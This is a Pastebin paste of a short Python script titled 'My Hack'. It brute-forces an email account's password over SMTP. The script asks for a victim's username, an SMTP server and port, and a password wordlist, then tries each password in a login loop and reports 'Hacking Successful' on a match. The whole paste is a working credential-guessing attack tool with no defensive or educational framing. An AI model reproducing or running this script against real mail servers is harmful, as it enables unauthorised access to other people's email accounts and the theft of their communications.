Advertisement
Guest User

Untitled

a guest
Oct 21st, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. import smtplib
  2.  
  3. title = 'My Hack'
  4. title = title.center(75,'-') + '\n'
  5. print (title)
  6.  
  7. # Getting input required inputs
  8. victim_username = input('Enter the victims username/mailid : > ')
  9. hostname = input('Enter the hostname of the SMTP Server : > ')
  10. port = input('Enter the port : > ')
  11.  
  12. filepath = input('Enter the dictonary filepath : > ')
  13.  
  14. # Creating the file Instance
  15. file = open(filepath, 'r')
  16.  
  17. # Create a client Instance
  18. print('[*] Initianting the hack attack.......')
  19. server = smtplib.SMTP(hostname, port)
  20.  
  21. # For extended helo
  22. server .ehlo()
  23.  
  24. # For TLS over the connection
  25. server.starttls()
  26.  
  27. # Reading the File of all the Passwords
  28. for passwd in file:
  29. passwd = passwd.rstrip()
  30.  
  31. print('Trying the password = ' + passwd)
  32.  
  33.  
  34. try:
  35. # make a login req
  36. server.login(victim_username,passwd)
  37. print('[*] Hacking Successful')
  38. server.close()
  39.  
  40. except smtplib.SMTPAuthenticationError:
  41. print('[!] Login Failed')
  42.  
  43. print('\nPress any Key to exit the Script')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement